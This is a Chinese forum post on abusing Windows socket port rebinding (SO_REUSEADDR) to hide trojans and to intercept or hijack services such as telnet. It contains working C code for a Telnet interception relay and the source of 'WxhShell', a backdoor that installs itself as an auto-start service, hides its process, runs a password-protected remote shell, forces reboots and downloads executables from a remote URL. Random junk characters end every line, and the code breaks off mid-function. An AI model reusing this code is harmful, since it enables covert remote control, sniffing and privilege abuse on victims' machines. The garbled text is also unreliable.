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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !*xQPanL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8:A6Ew&\]O  
xF{<-b  
  saddr.sin_family = AF_INET; =M9Od7\J  
~ #~Kxh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T%F8=kb-9  
[ !:.9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~F]- +|  
G#0 4h{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 M:(k7a+[^  
1k>*   
  这意味着什么?意味着可以进行如下的攻击: 71w$i 4  
WYE[H9x1?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Im_`q\i  
MgLz:2 :F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N|1k6g=0  
!'C^qrh  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *K\/5Fzl  
D &wm7,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3C8'@-U  
Z,,Wo %)o  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 r,b-c  
(#. )~poZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /$x6//0If  
18!0H l>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lBTgI"n=eK  
ni]gS0/  
  #include Efw/bTEg  
  #include |xaA3UA  
  #include o0Hh&:6!M  
  #include    L+QEFQ:r5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   EY!aiH6P  
  int main() 8DLMxG  
  { ,k@fX oW  
  WORD wVersionRequested; ? B^*YCo7(  
  DWORD ret; 4 ITSDx  
  WSADATA wsaData; &e% y|{Y  
  BOOL val; Wm.SLr,o0  
  SOCKADDR_IN saddr; 4//Ww6W:  
  SOCKADDR_IN scaddr; s4}}MV3X  
  int err; 58MBG&a%  
  SOCKET s; YKUs>tQ!  
  SOCKET sc; ]0dp^%  
  int caddsize; :/Nz' n  
  HANDLE mt; ou-5iH?  
  DWORD tid;   GYv2 ^IB:  
  wVersionRequested = MAKEWORD( 2, 2 ); !=0N38wA  
  err = WSAStartup( wVersionRequested, &wsaData ); 82V xk  
  if ( err != 0 ) { eA_1?j]E3  
  printf("error!WSAStartup failed!\n"); c-avX  
  return -1; ")(1z@  
  } ^QV;[ha,o  
  saddr.sin_family = AF_INET; `pN]Ykt  
   W~Mj6c~S"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K)0 6][ ,  
jvm "7)h  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \"PlM!0du  
  saddr.sin_port = htons(23); ;mo}$^49*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2&!G@5  
  { !cE)LG  
  printf("error!socket failed!\n"); F{f "xM  
  return -1; T cSj `-  
  } e[n T'e  
  val = TRUE; JT<Ia  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >1mCjP  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o,Ew7~u  
  { }kXF*cVg  
  printf("error!setsockopt failed!\n"); wEzLfZ Oz/  
  return -1; JVTG3:zD  
  } 2@ACmh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F+Lq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g >-iBxml  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |vWx[=`o  
z6FG^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Jp5~iC2d  
  { D@4hQC\  
  ret=GetLastError(); CWI(Q`((>  
  printf("error!bind failed!\n"); P RX:*0  
  return -1; Nc]oA Y  
  } Yq) wE|k/  
  listen(s,2); \&AmX8" [  
  while(1) v=SC*  
  { Pd^ilRB  
  caddsize = sizeof(scaddr); -\>Bphu,y  
  //接受连接请求 )n|:9hc  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HcQ{ok9u  
  if(sc!=INVALID_SOCKET)  HPwmi[  
  { 8u;l<^<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rmR7^Ycv/  
  if(mt==NULL) GXRK+RHuBi  
  { =`vUWONn  
  printf("Thread Creat Failed!\n"); 6eK18*j%H  
  break; Fv5@-&y$W  
  } Dw6Q2Gnv  
  } |yN7#O-D  
  CloseHandle(mt); tM ]qR+  
  } jr@<-.  
  closesocket(s); 2fI?P  
  WSACleanup(); ZZFa<AK4  
  return 0; W/{HZ< :.  
  }   <tgJ-rnL  
  DWORD WINAPI ClientThread(LPVOID lpParam) [al$7R&  
  { m]Z& .,bA  
  SOCKET ss = (SOCKET)lpParam; LfrS:g  
  SOCKET sc; A*~zdZ p  
  unsigned char buf[4096]; &gcKv1a\  
  SOCKADDR_IN saddr; i6(y Bn  
  long num; zj`!ZY?fv  
  DWORD val; `N8A{8$qv  
  DWORD ret; )>$xbo")k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 UG48g}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L&'2  
  saddr.sin_family = AF_INET; .azdAq'r&\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y R#_<o  
  saddr.sin_port = htons(23); S1;#5 8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QSEf  
  { ) <^9`  
  printf("error!socket failed!\n"); (+bk +0  
  return -1; U{n 0Z  
  } SH5GW3\h  
  val = 100; xC!,v 0&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f#/v^Ql*  
  { +vBq,'k`  
  ret = GetLastError(); m/%sBw\rx  
  return -1; hU+sg~E  
  } j$A~3O<e"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =R?NOWrDY  
  { )iluu1,o  
  ret = GetLastError(); *)U=ZO6S  
  return -1; SG;]Vr  
  } <+" Jh_N#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) US0)^TKrj  
  { +'hcFZn(T  
  printf("error!socket connect failed!\n"); p@NE^aMn  
  closesocket(sc); W9{6?,]  
  closesocket(ss); *#+XfOtF  
  return -1; q9yY%  
  } ^cDHyB=v4d  
  while(1) .0cm mpUNq  
  {  ]6W#P7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B.;/N220P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -`FTWH  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KE&Y~y8O\  
  num = recv(ss,buf,4096,0); TR5"K{WDx  
  if(num>0) :_i1)4[!  
  send(sc,buf,num,0); j!qO[CJJ  
  else if(num==0) +KrV!Taf  
  break; rM<c;iQ  
  num = recv(sc,buf,4096,0); dBX%/  
  if(num>0) I(bH.{1n7  
  send(ss,buf,num,0); I/_`/mQ  
  else if(num==0) 2zh?]if  
  break; \zR{D}aS  
  } Elh: %dr Q  
  closesocket(ss); QOcB ]G  
  closesocket(sc); Y)g7 E"  
  return 0 ; ePa1 @dI  
  } \ :1MM  
~z^VMr  
ShxB!/s  
========================================================== t+W+f  
&M*&oi (  
下边附上一个代码,,WXhSHELL ~aNK)<Fznd  
[l:3F<M  
========================================================== uqnoE;57^  
IFH%R>={  
#include "stdafx.h" |k{?\(h;  
mH}/QfUlq  
#include <stdio.h> mfIY7DP  
#include <string.h> /J<?2T9G  
#include <windows.h> x0?8AG%  
#include <winsock2.h> i_)j K  
#include <winsvc.h> NELQo#kjZ  
#include <urlmon.h> 1K"``EvNB  
KFkKr>S :  
#pragma comment (lib, "Ws2_32.lib") H"tS33  
#pragma comment (lib, "urlmon.lib") 5qGRz"\p~  
W> s@fN9  
#define MAX_USER   100 // 最大客户端连接数 Y<#WC#3=  
#define BUF_SOCK   200 // sock buffer s3W35S0Q3  
#define KEY_BUFF   255 // 输入 buffer PBTGN;y  
iXqc$!lTH  
#define REBOOT     0   // 重启 5tX|@Z: z  
#define SHUTDOWN   1   // 关机 ~Wm`SIV  
l=`)yc.  
#define DEF_PORT   5000 // 监听端口 ;l[/<J  
68kxw1xY  
#define REG_LEN     16   // 注册表键长度 &^8>Kd8  
#define SVC_LEN     80   // NT服务名长度 _~d C>`K  
qDxz`}Ly=  
// 从dll定义API t^)q[g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4~53%=+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /x"gpKwsB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DzkE*vR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o 4L9Xb7=G  
\( LKLlam  
// wxhshell配置信息 :=UiEDN@  
struct WSCFG { Psp3~Kg  
  int ws_port;         // 监听端口 ) **k3u t4  
  char ws_passstr[REG_LEN]; // 口令 aBj~370g  
  int ws_autoins;       // 安装标记, 1=yes 0=no JR<#el  
  char ws_regname[REG_LEN]; // 注册表键名 ;<1O86!  
  char ws_svcname[REG_LEN]; // 服务名 1uG?R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wciYv,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U59uP 7n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .taJCE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 43W>4fsc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ..X efNbl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~Us1F=i_Q  
|xG|HJm,  
}; a.v$+}+.[,  
YQG[8I  
// default Wxhshell configuration Is` S  
struct WSCFG wscfg={DEF_PORT, s<cg&`u,<M  
    "xuhuanlingzhe", 6d&BN7B  
    1, ;_R;P;<  
    "Wxhshell", jJg9M'@2!  
    "Wxhshell", w;vp X>  
            "WxhShell Service", Ash"D~  
    "Wrsky Windows CmdShell Service", r*C:)z .}  
    "Please Input Your Password: ", B!K{y>|.  
  1, c=<d99Cu!  
  "http://www.wrsky.com/wxhshell.exe", C"PN3>x}j  
  "Wxhshell.exe" T {a%:=`  
    }; c>{6NSS -  
#IDDKUE  
// 消息定义模块 @I2m4Q{O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LyhLPU0^q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [-f0s;F1%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MeW8aL r  
char *msg_ws_ext="\n\rExit."; m=k(6  
char *msg_ws_end="\n\rQuit."; !s/ij' T  
char *msg_ws_boot="\n\rReboot..."; %@'9<i8o  
char *msg_ws_poff="\n\rShutdown..."; v_J\yW'K  
char *msg_ws_down="\n\rSave to "; W1$B6+}Z0V  
j_-$xz5-  
char *msg_ws_err="\n\rErr!"; sTU]ntoQqR  
char *msg_ws_ok="\n\rOK!"; ICo_O] Ke  
={ c=8G8T  
char ExeFile[MAX_PATH]; >P/kb fPA  
int nUser = 0; A0# K@  
HANDLE handles[MAX_USER]; s/0-DHd  
int OsIsNt; 6Ii2rEzD  
Fl>v9%A  
SERVICE_STATUS       serviceStatus; ?u` ?_us  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k ~lj:7g~  
oJVpNE[3]  
// 函数声明 ]^Z7w`=%5  
int Install(void); Pk T&zSQA  
int Uninstall(void); Ne,7[k  
int DownloadFile(char *sURL, SOCKET wsh); i)Vqvb0Q  
int Boot(int flag); t(VG#}  
void HideProc(void); ?|Fu^eR%X  
int GetOsVer(void); N6=cqUM wt  
int Wxhshell(SOCKET wsl); 2GLq#")P  
void TalkWithClient(void *cs); &_HSrU  
int CmdShell(SOCKET sock); #M&rmKv)g  
int StartFromService(void); h ^g"FSzP  
int StartWxhshell(LPSTR lpCmdLine);  7=0uG  
us\@n"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n=MdbY/k(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I >k3X~cG  
(P~Jzp9u  
// 数据结构和表定义 Gy.<gyK9  
SERVICE_TABLE_ENTRY DispatchTable[] = k{Vc5F  
{ `0 uKJF g  
{wscfg.ws_svcname, NTServiceMain}, {H#1wu^]O$  
{NULL, NULL} YiB]}/  
}; hi"[R@UG  
"Y }f"X|  
// 自我安装 ,WR$xi.j  
int Install(void) qEX2K^y'4"  
{ m>k j@^SQ  
  char svExeFile[MAX_PATH]; 5(q\x(N  
  HKEY key; ePa:_?(  
  strcpy(svExeFile,ExeFile); CTp~bGIv!=  
8)ZWR3)+W  
// 如果是win9x系统,修改注册表设为自启动 -20o%t  
if(!OsIsNt) { 6_=qpP-?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JQYIvo1,Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kV!0cLH!hH  
  RegCloseKey(key); B]ul~FX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M(HU^?B{'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yBE1mA:x7:  
  RegCloseKey(key); f)H6 n l7r  
  return 0; okoD26tK  
    } ji? 0;2Y  
  } `* "u"7e  
} Yd~K\tX :n  
else { 25BW/23}e  
Q2cF++Q1  
// 如果是NT以上系统,安装为系统服务 B)O=wx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LG'JQGl5  
if (schSCManager!=0) I.r &;   
{ X5U_|XK6Y  
  SC_HANDLE schService = CreateService T#6']D  
  ( sqi~j(&\1  
  schSCManager, vD D !.i  
  wscfg.ws_svcname, }X$vriW  
  wscfg.ws_svcdisp, *_`T*$  
  SERVICE_ALL_ACCESS, \NhCu$'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GK)3a 9;  
  SERVICE_AUTO_START, @k <RX'~q  
  SERVICE_ERROR_NORMAL, k^Zpb&`Hx  
  svExeFile, /*`BGNkYY  
  NULL, ~"\sL;B  
  NULL, Ziu f<X{  
  NULL, nQdNXv<(  
  NULL, k(C?6Gfj  
  NULL [q cT?h  
  ); `IOp*8  
  if (schService!=0) )MZ]c)JD^  
  { NLyvi,svS  
  CloseServiceHandle(schService); Wa #,>  
  CloseServiceHandle(schSCManager); Hj |~*kG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V"%2Tz  
  strcat(svExeFile,wscfg.ws_svcname); I+D`\OSL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KSIH1E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Kv:UQdnU[  
  RegCloseKey(key); #i-!:6sLA  
  return 0; &JAQ:([:  
    } J_}&Btb)e  
  } 6#T?g7\pyR  
  CloseServiceHandle(schSCManager); |w- tkkS  
} E"!9WF(2t5  
} ?=jmyDXH!  
kMKI=>s+  
return 1; GC66n1- X  
} +cvz  
GsqR8n=  
// 自我卸载 x,E#+ m  
int Uninstall(void) 0t}=F 4@&a  
{ [#V"a:8m}  
  HKEY key; g-pDk*|I,Q  
&FHE(7}/#  
if(!OsIsNt) { )PL'^gR r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { , M/-lW  
  RegDeleteValue(key,wscfg.ws_regname); pWSYbN+d  
  RegCloseKey(key); _bqiS]:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -))>7skc  
  RegDeleteValue(key,wscfg.ws_regname); j8zh^q  
  RegCloseKey(key); EhEn|%S  
  return 0; ABNsi$]r0  
  } -le:0NUwI  
} G\Hck=P[$3  
} #I%< 1c%XA  
else { `=uCp^ +v  
mvVVPf9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w!:u|  
if (schSCManager!=0) .!KlN%As  
{ eM/|"^%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \cPGyeq  
  if (schService!=0) `PSr64h:D  
  { Y((z9-`  
  if(DeleteService(schService)!=0) { *u>2"!+Ob  
  CloseServiceHandle(schService); E?y0UD[8J  
  CloseServiceHandle(schSCManager); NhCO C  
  return 0; fdho`juFa  
  } ^%M!!wlUH  
  CloseServiceHandle(schService); K).X=2gjY  
  } 6'(5pt  
  CloseServiceHandle(schSCManager); y 97QqQ^  
} $LAaG65V  
} )jR:\fe  
vnk"0d.  
return 1; gwThhwR  
} ]WN{8   
(loUO;S=  
// 从指定url下载文件 ETH`.~%  
int DownloadFile(char *sURL, SOCKET wsh) j!mI9*hP  
{ aP8Im1<A  
  HRESULT hr; )7q;F m_/  
char seps[]= "/"; g]$>G0E`oD  
char *token; 5Ag]1k{  
char *file; $msT,$NJ  
char myURL[MAX_PATH]; da\K>An>  
char myFILE[MAX_PATH]; oVoTnGNM6  
T fzad2}^  
strcpy(myURL,sURL); i.cSD%*  
  token=strtok(myURL,seps); g.DgJX&i  
  while(token!=NULL) ]!YzbvoR  
  { <2A4}+p:  
    file=token; uAzV a!)  
  token=strtok(NULL,seps); t1Hd-]28V  
  } ;TmwIZ  
s]L`&fY]O  
GetCurrentDirectory(MAX_PATH,myFILE); ?U|~h1   
strcat(myFILE, "\\"); }-zx4<4BH  
strcat(myFILE, file); YH':cze  
  send(wsh,myFILE,strlen(myFILE),0); TUy*wp9  
send(wsh,"...",3,0); UT+\IzL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Yr-,0${m  
  if(hr==S_OK) k49CS*I  
return 0; X%`8h _  
else l:+tl/  
return 1; . Nog.  
4I:Jb;k>  
} (`3 Bi]7  
H.Jcp|k[;  
// 系统电源模块 y>~=o9J_u  
int Boot(int flag) SjlkKulMF  
{ e6s L N  
  HANDLE hToken; .a=M@; p  
  TOKEN_PRIVILEGES tkp; zG [-n.  
'G-VhvM v  
  if(OsIsNt) { 4LBjqv,P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vm8QKPy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >GT0 x  
    tkp.PrivilegeCount = 1; 0R_ZP12  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OMKEn!Wq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); px4Z  
if(flag==REBOOT) { K/MIDH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nn#A-x}~;b  
  return 0; Ba`]Sm=  
} qf)]!w U9  
else { 9!bD|-6y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ((.PPOdJV  
  return 0; gl]{mUZz}  
} c0Q`S"o+  
  } . s? ''/(  
  else { l*nS gUg  
if(flag==REBOOT) { C,tlp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >kC@7h5)  
  return 0; Yo7ctwzdH;  
} wfo}TGhC  
else { lJ7k4ua\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m?[F)<~a  
  return 0; t$\]6RU  
} K\?vTgc(  
} qmxkmO+Qur  
v]VIUVd  
return 1; =i:?4pIZ  
} *:\QD 8^  
!29 Rl`9  
// win9x进程隐藏模块 xFg=Tyq:  
void HideProc(void) L?al2aopF  
{ ~0/=5 dC  
Onot<}K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *:YW@Gbm  
  if ( hKernel != NULL ) SvI  
  {  zKT \i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N66jFRA;x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x!I7vs~~zW  
    FreeLibrary(hKernel); .>}we ~O  
  } I9Z8]Q+2"  
/eIwv 31  
return; l l&iMj]  
} >St  
c:=Z<0S;  
// 获取操作系统版本 I*ho@`U  
int GetOsVer(void) bE0S) b)  
{ @Chj0wWZ>  
  OSVERSIONINFO winfo; YjHGdacs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \9ap$  
  GetVersionEx(&winfo); _ZR2?y-M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bZ3CJ f&mE  
  return 1; |$1j;#h  
  else #wC4$y<>  
  return 0; anl?4q3;9  
} !_x-aro3<  
xss D2*l  
// 客户端句柄模块 apw8wL2  
int Wxhshell(SOCKET wsl) -O(.J'=8  
{ DK4V/>@8  
  SOCKET wsh; xhimRi  
  struct sockaddr_in client; F'SOl*v(s5  
  DWORD myID; Yt|{l  
v{%2`_c  
  while(nUser<MAX_USER) kP [ Y  
{ 4AP<mo  
  int nSize=sizeof(client); :=~([oSNW"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r-'j#|^tz  
  if(wsh==INVALID_SOCKET) return 1; Cs*u{O  
{BKI8vy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :j9;P7&"?  
if(handles[nUser]==0) [=LQ,e$r7  
  closesocket(wsh); *B3` #t  
else JNMZn/  
  nUser++; 2OK%eVba  
  } @8/-^Rh*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b,SY(Ce~g  
)ZiJl5l@  
  return 0; {H0B"i  
} Cu/w><h)  
u 4)i7  
// 关闭 socket 6J&L5E  
void CloseIt(SOCKET wsh) xY_/CR[,  
{ rJ<v1Yb  
closesocket(wsh); ,&l>^w/  
nUser--; _-^ KqNyy  
ExitThread(0); ?]sj!7   
} e%UFY-2  
!JrVh$K  
// 客户端请求句柄 #]:nQ (  
void TalkWithClient(void *cs) 4'X^YBm  
{ fmloh1{4  
}|A%2!Q}  
  SOCKET wsh=(SOCKET)cs; _jnH!Mw  
  char pwd[SVC_LEN]; zeR!Y yt!  
  char cmd[KEY_BUFF]; w/Q'T&>b/  
char chr[1]; gy*N)iv%  
int i,j; (( t8  
N^`F_R1Z  
  while (nUser < MAX_USER) { {){i ONd  
8[zP2L!-  
if(wscfg.ws_passstr) { ]1p&*xX:Bj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A:;KU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u^:!!Suo  
  //ZeroMemory(pwd,KEY_BUFF); fv`%w  
      i=0; lDAw0 C3  
  while(i<SVC_LEN) { v}[7)oj|  
se(_`a/4Q  
  // 设置超时 =\_MJ?A$  
  fd_set FdRead; G]5'U"cj3  
  struct timeval TimeOut; !xa,[$w(^  
  FD_ZERO(&FdRead); <L5[#V_  
  FD_SET(wsh,&FdRead); %JiA,  
  TimeOut.tv_sec=8; Vl'|l)b4W  
  TimeOut.tv_usec=0; BBy/b c!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8HTV"60hTs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oYqlN6n,=6  
^#"!uCq]gM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oOJN?97!k  
  pwd=chr[0]; E#_}y}7JY  
  if(chr[0]==0xd || chr[0]==0xa) { zFv>'1$  
  pwd=0; %iF< px?Vc  
  break; qY0GeE>N  
  } "4L' 2w+  
  i++; }HXNhv-K  
    } ]M= 3Sn8}  
x{&Z|D_CM  
  // 如果是非法用户,关闭 socket .eJ4F-V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Vh'H5v^  
} wRUpQ~=B2  
j;<;?IW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RCgs3JIE+2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,=z8aiUu  
mqtl0P0  
while(1) { =|uX?  
3pq&TYQU  
  ZeroMemory(cmd,KEY_BUFF); A!@D }n  
Ku&0bXP  
      // 自动支持客户端 telnet标准   v>0xHQD*<M  
  j=0; TX8,+s+  
  while(j<KEY_BUFF) { @\[&_DZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %.[GR  
  cmd[j]=chr[0]; >dZ x+7  
  if(chr[0]==0xa || chr[0]==0xd) { K3 "co1]u  
  cmd[j]=0; 0}HKmEM  
  break; knF *~O :y  
  } #CVD:p  
  j++; uKtrG,/ p  
    } iVnrv`k,  
 ZY keW  
  // 下载文件 f@>27&'WV  
  if(strstr(cmd,"http://")) { 8[}MXMRdb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;xwa,1]  
  if(DownloadFile(cmd,wsh)) <W\~A$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5/Swn9vwl  
  else zD2B hta y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~vaV=})  
  } %n!s{5:F  
  else { 8M:;9a8fh  
R-hqaEB  
    switch(cmd[0]) { Z/56JYt!~  
  g4%x7#vz0  
  // 帮助 &87D.Yy^  
  case '?': { 1<fEz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '{U56^b]  
    break; d) G7U$z~  
  } 4$ejJaE  
  // 安装 "hpK8vQ  
  case 'i': { m5f/vb4l  
    if(Install()) aI+:rk^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fi(_A  
    else rN} {v}n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +B c/@.Q'  
    break; =s1"<hH}O)  
    } $5cLhi"`  
  // 卸载 }q27M  
  case 'r': { #). om*Xh  
    if(Uninstall()) /3rt]h"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3}n=od=  
    else WynHcxC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H6rWb6i  
    break; a*74FVZo.;  
    } `h :&H,N  
  // 显示 wxhshell 所在路径 PS(9?rX#+  
  case 'p': { :uhvDYp(-  
    char svExeFile[MAX_PATH]; -4Y}Y5 9\  
    strcpy(svExeFile,"\n\r"); w doA>a?q  
      strcat(svExeFile,ExeFile); CI$F#j  
        send(wsh,svExeFile,strlen(svExeFile),0); vF3>nN(]  
    break; R7Hn8;..  
    } OsvAm'B  
  // 重启 Y( D d7`c  
  case 'b': { T" 8>6a@}E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XQ,I Ej|  
    if(Boot(REBOOT)) =F8uuYX%m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7f[nNng  
    else { #`v`e"  
    closesocket(wsh); "t`r_Aw  
    ExitThread(0); "uqa~R{  
    } u.8vXc  
    break; )v8;\1`s:  
    } u ldea)  
  // 关机 w0tlF:Eg  
  case 'd': { c3i|q@ k  
